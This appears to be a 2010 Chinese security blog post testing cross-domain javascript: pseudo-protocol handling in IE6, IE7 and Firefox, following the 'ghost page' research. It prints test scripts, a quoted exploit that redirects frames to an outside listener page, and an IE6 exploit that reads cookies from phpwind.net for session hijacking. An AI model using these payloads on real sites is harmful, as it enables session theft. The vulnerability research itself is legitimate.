瀏覽器跨域安全

cnbird發表於2010-12-30

Manuel Caballero大牛在這次的BLUEHAT大會上講了一個叫A Resident in My Domain
的議題,字面上的意思就是駐留在自己的域,隨後開始有牛人在自己BLOG上寫了一些相關的
內容,這段時間一直和HI群裡的朋友在討論這個問題,大家都簡稱為鬼頁,這個鬼頁非常神奇,
可以跟隨你瀏覽的每個頁面。經過鬼頁的啟發,我也對瀏覽器的跨域安全問題進行了測試。

 

1.來自偽協議的呼喚

    JAVASCRIPT裡大家都頻繁使用window物件,window物件代表的就是瀏覽器的視窗,我們
就來測試下window物件的open方法,嘗試讓新開的視窗執行偽協議。

    在本機搭建一個WEB伺服器,開始做下實驗:

    用各個瀏覽器瀏覽 http://127.0.0.1/test.htm ,下面是test.htm的指令碼內容:

    <script>  
    x=window.open(`about:blank`);
    x.location=”javascript:alert(document.domain)”
    </script>

    結果是:

    IE6:執行了偽協議,認為彈出視窗的域是127.0.0.1。
    IE7:執行了偽協議,認為彈出視窗的域是127.0.0.1。
    Firefox:執行了偽協議,認為還沒有域為NULL。

    Firefox這裡對於這個介面可能也有個BUG,對於IP地址的彈窗Firefox沒有辨認出域,但
是在實際繫結域名的情況下還是辨認出了域。

    為了下面的部分方便理解,我把這裡彈窗的關係給簡稱下,原來的視窗叫父頁,彈出視窗
叫子頁,實驗過後我們證明了:

    父頁和子頁都在同一個域裡,父頁可以重定向子頁的URL地址,甚至執行偽協議。

2.父頁和子頁的關係

    如果父頁讓子頁訪問其他域後,父頁和子頁是否就脫離關係了呢?

    繼續測試,用各個瀏覽器瀏覽 http://127.0.0.1/test2.htm ,下面是test2.htm的指令碼
內容:

    <script>  
    x=window.open(`about:blank`);
    x.location=”http://www.163.com” //訪問163網站
    setTimeout(function(){
        x.location=”http://127.0.0.1″;
    },5000)  //5秒後重定向到127.0.0.1
    </script>

    這次IE6、IE7、Firefox都達成了一致,實驗的結果是子頁訪問了163網站,5秒然後又跳
回了127.0.0.1。

    所以就算是子頁在訪問了其他域後,還是會受父頁的控制。

3.域與域之間的牽絆

    如果父頁讓子頁訪問某個域後,再執行偽協議會有什麼效果?

    用各個瀏覽器瀏覽 http://127.0.0.1/test3.htm,下面是test3.htm的指令碼內容:

    <script>  
    x=window.open(`about:blank`);
    x.location=”http://www.163.com”
    setTimeout(function(){
        x.location=”javascript:alert(document.cookie)”;
    },5000)
    </script>

    結果是:

    IE6:沒有反應。
    IE7:報錯,拒絕訪問。
    Firefox:報錯,alert沒有定義。

    這些資訊明顯的說明,如果子頁和父頁不在同一個域裡,瀏覽器是不允許父頁控制子頁
執行偽協議指令碼的。

    為了進一步驗證,我們讓子頁開啟同一個域裡的頁面測試:

    用各個瀏覽器瀏覽 http://127.0.0.1/test4.htm,下面是test4.htm的指令碼內容:

    <script>
    document.cookie=`xss:true`  //給本域設定一個COOKIE為xss:true
    x=window.open(`about:blank`);
    x.location=”http://127.0.0.1″
    setTimeout(function(){
        x.location=”javascript:alert(document.cookie)”;
    },5000)
    </script>

    結果IE6、IE7、Firefox都順利的彈出了COOKIE值,說明如果子頁和父頁在同一個域裡,
瀏覽器是允許父頁控制子頁執行偽協議指令碼的。

4.安全上的差異

    父頁和子頁這種微妙的關係,到這裡就開始引發安全問題了,PDP等大牛在分析鬼頁的時
候給出了EXP:

    javascript :x =open(`http://hackademix.net/`);setInterval(function(){try{x.frames[0].location={toString:function(){return `http://www.sirdarckcat.net/caballero-listener.html`;}}}catch(e){}},5000);void(1);

    EXP按上面三部分的概念解釋是:

    父頁是A域,父頁指定子頁訪問B域內一個帶框架的頁面,父頁就能夠控制B域頁面內框架
的URL地址,這個就是典型的跨域操作了。

    鬼頁能夠跨域操作框架的關鍵是window.frames[0]方法沒有受到域的限制,第二個是讓
location指定的地址看起來像個物件而不是引數。

    我們按照鬼頁的思路,繼續在第3部分的基礎上測試下去,將location指定的地址使用
new String()物件處理。

    用各個瀏覽器瀏覽 http://127.0.0.1/test5.htm,下面是test5.htm的指令碼內容:

    <script>  
    x=window.open(`about:blank`);
    x.location=”http://www.163.com”;
    setTimeout(function(){
        x.location=new String(“javascript:alert(document.cookie)”)
    },5000)
    </script>

    IE6:彈出COOKIE。
    IE7:報錯,拒絕訪問。
    Firefox:報錯,alert沒有定義。

    結果是IE6奇蹟般的彈出了COOKIE,我們做到了跨域執行指令碼。

5.災難性的後果

    到這裡我們發現了一個IE6的0DAY,一定程度上這個跨域安全問題是災難性的,如下面的
EXP:

    <a href=””>IE6 Cross Domain Scripting</a>
    <script>
    function win(){
        x=window.open(`http://www.phpwind.net`);
        setTimeout(function(){
            x.location=new String(“javascript:alert(document.cookie)”)
        },3000)
    }
    window.onload=function(){
        for (i=0;i<document.links.length;i++) {
            document.links[i].href=”javascript:win()”
        }
    }
    </script>

    點選連結後,馬上得到了PHPWIND論壇的COOKIE,這就意味著黑客通過類似的攻擊可以得
到你訪問過的任意網站的COOKIE,然後劫持你的會話。

    這樣的漏洞相當於一個沒有域限制的XSS漏洞,幾乎是無法防禦的,網站只能進一步的加
強客戶端的會話安全,如使用SSL加密連線、設定安全COOKIE加上HTTPONLY引數、給敏感的
請求操作加上水印等。

6.總結

    這個跨域安全問題的本質是瀏覽器在處理window物件的操作有所疏漏,沒有考慮清楚不
同域有繼承關係的window物件操作後的變化,只是對window物件的一些方法的引數做了類似
資料型別的限制,導致最後繞過限制跨域執行了指令碼。

    從這個漏洞我們也可以看出IE7的一些新的安全特性,通過繼承關係的window物件操作
來跨域執行指令碼偽協議最後是判斷了域的,IE7已經開始防範類似的攻擊。

    但是這裡並沒有在本質上解決跨域安全問題,IE7只防範了跨域執行指令碼,對於其他跨域
的操作仍然是放行的,所以鬼頁在IE7下可以跨域操作框架URL,而Firefox卻沒有存在相同的
問題,說明不同瀏覽器在安全的考慮上也是存在很多差異的。

    針對IE我又測試了其他物件方法,發現很多都被限制住了,但不排除還有同樣的問題存
在。按照類似的思路,大家可以繼續嘗試挖掘瀏覽器的一些跨域漏洞。

    最後感謝HI群裡共同討論的朋友。

7.參考

[1] Browser`s Ghost Busters: http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html
[2] Ghost Busters: http://www.gnucitizen.org/blog/ghost-busters/


相關文章